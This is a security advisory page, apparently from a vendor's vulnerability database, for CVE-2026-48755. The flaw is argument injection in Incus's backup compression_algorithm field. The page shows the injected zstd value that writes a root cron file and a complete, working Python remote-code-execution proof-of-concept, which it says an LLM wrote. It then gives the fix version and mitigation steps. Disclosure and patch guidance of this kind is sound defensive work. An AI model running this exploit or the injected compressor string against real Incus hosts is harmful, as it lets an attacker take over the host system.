CVE-2026-48755 — incusd
CRITICALCVE-2026-48755 is a critical-severity (CVSS 9.9) Improper Input Validation vulnerability in github.com/lxc/incus/v7/cmd/incusd. A fix is available for github.com/lxc/incus/v7/cmd/incusd — see the affected versions and patch details below.
Incus has an argument injection in backup compression algorithm leading to AFW and ACE
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-48755.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-48755 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/lxc/incus/v7/cmd/incusdReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution.
Details
Incus validates compression_algorithm by parsing it into fields and checking only the first token against an allowlist:
fields, err := shellquote.Split(value)
...
if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) {
return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0])
}
_, err = exec.LookPath(fields[0])
Extra arguments are not rejected. compressFile() then prepends -c and passes the remaining user-supplied fields to the compressor:
args := []string{"-c"}
if len(fields) > 1 {
args = append(args, fields[1:]...)
}
cmd := exec.Command(fields[0], args...)
cmd.Stdin = infile
cmd.Stdout = outfile
With a value like:
zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload
the daemon executes the equivalent of:
zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload
PoC
python3 poc.py \
--insecure --url https://remote-incus:8443 \
--cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \
--instance c01 \
--execute --yes-i-understand-this-writes-host-file
The following was generated by an LLM model.
#!/usr/bin/env python3
"""Short remote Incus backup compression zstd cron RCE PoC.
Dry-run is the default. --execute uploads a cron payload into an instance and then asks Incus for a direct backup with a zstd argument-injection compressor:
zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source>
The direct backup may fail after zstd runs; the host file write is the primitive. Use only on an authorized Incus server.
"""
from __future__ import annotations
import argparse
import json
import os
import shlex
import sys
import urllib.parse
from pathlib import PurePosixPath
from typing import Any
import requests
def q(value: str) -> str:
return urllib.parse.quote(value, safe="")
def api(base: str, endpoint: str, **params: str) -> str:
return base.rstrip("/") + endpoint + ("?" + urllib.parse.urlencode(params) if params else "")
def project_instance(project: str, instance: str) -> str:
return instance if project == "default" else f"{project}_{instance}"
def clean_guest_path(path: str) -> str:
if not path.startswith("/"):
raise ValueError("--guest-path must be absolute")
if ".." in PurePosixPath(path).parts:
raise ValueError("--guest-path must not contain '..'")
return os.path.normpath("/" + path.lstrip("/")).lstrip("/")
def source_path(args: argparse.Namespace) -> str:
if args.source_host_path:
return args.source_host_path
return os.path.join(
args.incus_dir,
"storage-pools",
args.pool,
args.storage_kind,
project_instance(args.project, args.instance),
"rootfs",
clean_guest_path(args.guest_path),
)
def cron(command: str) -> bytes:
return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode()
def session(args: argparse.Namespace) -> requests.Session:
s = requests.Session()
s.verify = False if args.insecure else (args.cacert or True)
if args.cert or args.key:
s.cert = (args.cert, args.key)
if args.token:
s.headers["Authorization"] = "Bearer " + args.token
s.headers["User-Agent"] = "incus-zstd-backup-rce-poc"
if args.insecure:
requests.packages.urllib3.disable_warnings() # type: ignore[attr-defined]
return s
def check(resp: requests.Response, what: str) -> requests.Response:
if resp.status_code >= 400:
try:
detail: Any = resp.json()
except Exception:
detail = resp.text[:2048]
raise RuntimeError(f"{what} failed: HTTP {resp.status_code}: {detail}")
return resp
def upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None:
url = api(args.url, f"/1.0/instances/{q(args.instance)}/files", project=args.project, path=args.guest_path)
headers = {
"Content-Type": "application/octet-stream",
"X-Incus-type": "file",
"X-Incus-write": "overwrite",
"X-Incus-uid": "0",
"X-Incus-gid": "0",
"X-Incus-mode": "0644",
}
print(f"[*] uploading cron payload to {args.instance}:{args.guest_path}")
check(s.post(url, data=payload, headers=headers, timeout=args.timeout), "payload upload")
def trigger_backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None:
url = api(args.url, f"/1.0/instances/{q(args.instance)}/backups", project=args.project)
print("[*] sending direct backup request")
resp = s.post(
url,
data=json.dumps(body).encode(),
headers={"Accept": "application/octet-stream", "Content-Type": "application/json"},
timeout=args.timeout,
stream=True,
)
print(f"[*] backup HTTP {resp.status_code}")
resp.close()
if resp.status_code >= 400:
print("[*] HTTP error after compressor launch is possible; check whether the cron file was written")
def parse_args() -> argparse.Namespace:
p = argparse.ArgumentParser(description="Remote Incus zstd backup-compression cron RCE PoC")
p.add_argument("--url", required=True, help="https://host:8443")
p.add_argument("--cert", help="client certificate PEM")
p.add_argument("--key", help="client private key PEM")
p.add_argument("--cacert", help="CA certificate PEM")
p.add_argument("--token", help="bearer token")
p.add_argument("--insecure", action="store_true", help="disable TLS verification")
p.add_argument("--timeout", type=int, default=180)
p.add_argument("--project", default="default")
p.add_argument("--instance", required=True)
p.add_argument("--pool", default="default")
p.add_argument("--storage-kind", choices=["containers", "virtual-machines"], default="containers")
p.add_argument("--incus-dir", default="/var/lib/incus")
p.add_argument("--guest-path", default="/incus-zstd-cron")
p.add_argument("--source-host-path", help="override daemon-readable host path for the staged payload")
p.add_argument("--cron-path", default="/etc/cron.d/incus-zstd-rce")
p.add_argument("--command", default="date >/incus-zstd-rce; id >>/incus-zstd-rce")
p.add_argument("--execute", action="store_true", help="stage payload and send backup request")
p.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute")
args = p.parse_args()
if urllib.parse.urlparse(args.url).scheme != "https":
p.error("--url must use https")
if bool(args.cert) != bool(args.key):
p.error("--cert and --key must be supplied together")
if args.execute and not args.yes_i_understand_this_writes_host_file:
p.error("--execute requires --yes-i-understand-this-writes-host-file")
try:
clean_guest_path(args.guest_path)
except ValueError as exc:
p.error(str(exc))
args.url = args.url.rstrip("/")
return args
def main() -> int:
args = parse_args()
src = source_path(args)
payload = cron(args.command)
compressor = f"zstd -d -f --pass-through -o {shlex.quote(args.cron_path)} -- {shlex.quote(src)}"
body = {"compression_algorithm": compressor, "instance_only": True}
print("[*] target:", args.url)
print("[*] project:", args.project)
print("[*] instance:", args.instance)
print("[*] source host path:", src)
print("[*] cron path:", args.cron_path)
print("[*] payload:", payload.decode().rstrip())
print("[*] backup body:", json.dumps(body, sort_keys=True))
if not args.execute:
print("[*] dry run only; add --execute and the confirmation flag to act")
return 0
s = session(args)
upload(s, args, payload)
trigger_backup(s, args, body)
return 0
if __name__ == "__main__":
try:
raise SystemExit(main())
except BrokenPipeError:
raise SystemExit(1)
except Exception as exc:
print(f"[-] {exc}", file=sys.stderr)
raise SystemExit(1)
Impact
Improperly validated compression algorithm argument leads to argument injection leading to arbitrary file write with zstd and possibly arbitrary command execution.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lxc/incus/v7/cmd/incusd | all versions | 7.2.0go get github.com/lxc/incus/v7/cmd/incusd@v7.2.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lxc/incus/v7/cmd/incusd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/lxc/incus/v7/cmd/incusd to 7.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-48755 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-48755 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-48755. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-48755 in your dependencies?
O3 Security finds CVE-2026-48755 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.